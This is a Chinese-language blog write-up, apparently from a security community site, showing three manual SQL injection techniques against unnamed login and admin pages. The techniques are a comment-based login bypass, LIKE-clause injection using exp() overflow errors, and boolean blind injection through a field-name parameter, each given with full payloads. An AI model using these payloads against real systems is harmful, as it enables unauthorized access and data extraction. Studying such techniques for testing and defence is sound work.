一.引子
安逸的周日晚上,疯玩了两个月的小雷终于想起来了自己freebuf账号的密码,于是决定整理些近期遇到的抽象的SQL注入案例分享给各位帅比,请诸位尽情感受手注带来的乐趣!!
二.案例
案例一:高防护下的万能密码
入手点就是这个登录页面了

账号密码随便输入,抓包

ln为用户名,pwd为密码。ln参数加个单引号试试。

发现500了,这明显有问题啊,再加一个单引号。

实锤了,这位置存在SQL注入漏洞。登录接口,直接使用万能密码尝试绕过登录。

发现直接没返回包了,不妙啊,感觉请求像是被设备识别关键字拦截掉了。尝试发现设备几乎对所有重要的关键词都设防了,各种绕过方式均以失败告终。
那是否存在一条万能密码payload可以在不使用关键词的前提下成功绕过登录? 有的兄弟,有的!!

ln=admin';--+-

咦?竟然没进去,看来还是得研究下这个payload原理。
小雷猜测该处的SQL语法是这样的。
select * from user where username=.'$ln'. and password=.'$pwd';
当小雷的payload打进去,语法就变成了
select * from user where username='admin';--+-' and password='123456';
其实也就是:
select * from user where username='admin';
也就是目前payload让原本校验用户名和密码的SQL语句变成了只校验用户名,但是为什么没进去?
答案是:系统不存在admin用户,接下来就简单了,直接爆破admin这个位置。



可见,系统的安全不能完全依仗设备。
案例二:LIKE注入
入手点依旧是一个平平无奇的登录页面

通过爆破成功登录,在管理员管理位置抓到一个数据包。

roles参数加单引号

直接丢给sqlmap,参数拉到最高竟然没跑出来,看来又得演示手法了。

先把SQL语句扣下来,格式化下语法结构。
SELECT *
FROM
`eb_system_admin`
WHERE
( CONCAT(',',roles,',') LIKE '%,111111111111',%' )
AND
`is_del` = :ThinkBind_1_114815451_
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20
像这种LIKE注入一定要注意他原本的格式,先把注入点前后语法补齐,然后插入and或者or。
先补齐前后语法,通过AND配合语法格式在注入点将语句前后都补齐。
aaaaaaaa,%')+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
SELECT *
FROM
`eb_system_admin`
WHERE
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
`is_del` = :ThinkBind_1_114815451_
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20
完美,我们把payload赋给roles参数,发包看一下。

不报错了,说明前后语法已经被完美闭合。接下来,我们再加一个AND,
aaaaaaaa,%')+AND+1+LIKE+1+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
SELECT *
FROM
`eb_system_admin`
WHERE
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
1 LIKE 1
AND
(CONCAT(',',roles,',') LIKE '%,aaaaaaaa,%')
AND
`is_del` = :ThinkBind_1_114815451_
AND
`level` = :ThinkBind_2_293448294_ LIMIT 0,20
再把payload带入发包。

然后进一步修改payload,利用exp()函数特性进行SQL注入
aaaaaaaa,%')+AND+1+LIKE+1+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
-->
aaaaaaaa,%')+AND+1+LIKE+exp(709)+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa无报错

-->
aaaaaaaa,%')+AND+1+LIKE+exp(710)+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa报错

这是因为在mysql中exp()函数的参数值大于709时会抛出一个溢出异常。
根据此特性构造payload
/adminapi/setting/admin?roles=aaaaaaaa,%')+AND+1+LIKE+exp(999-length(version()))+AND+(CONCAT(',',roles,',')+LIKE+'%,aaaaaaaa
主要是这里
exp(999-length(version())),fuzz "999"的位置,直到不报错。
最终发现,当"999"的位置替换为719时,不报错;当"999"的位置替换为720时系统报错。


也就是720-length(version() = 710,所以当前数据库版本的长度为10。
点到为止,下一个下一个。

案例三:字段名注入
依然是朴实无华的登录页面。

通过朴实无华的fuzz大法登录系统,在用户管理处抓包。
value就是我们输入的内容。

测试发现value参数并无注入漏洞,field参数加单引号回显包状态码会500。

再加一个单引号,直接爆出了SQL语句。

sqlmap参数拉到最高,依然没跑出来。
把SQL语句抠出来,格式化。
SELECT count(*) as id
FROM
account
WHERE
(account.username LIKE ?)
有代码基础的兄弟一看到这个SQL语句就明白为啥value参数没有注入漏洞了,典型预编译写法,看来程序员还是有一定安全意识的。
仔细观察返回包参数和SQL语法。

而我们主要要看的就是field参数,field参数被拼接到了字段名中。
还是跟上面一样,先把注入点前后语法补齐。
username like '1') and (1
SELECT count(*) as id
FROM
account
WHERE
(account.username like '1')
and
(1 like LIKE ?)
带入发包。

没报错,说明语法被完美闭合了。因为这个功能是查询用户,所以我们可以通过or进行布尔盲注。
username like '1') or 1=1 and (1长度1388

username like '1') or 1=2 and (1长度339

构造payload
username like '1') or n=length(user()) and (1
当n=length(user()) 时,也就是n为当前数据库用户名长度时,返回包长度为1388

最终爆破出用户名长度为14,依然是点到为止。
三.总结
手注SQL的魅力在于它的变幻多样性,愿诸位都能感受到手注带来的快感,感谢阅读。
8554

被折叠的 条评论
为什么被折叠?



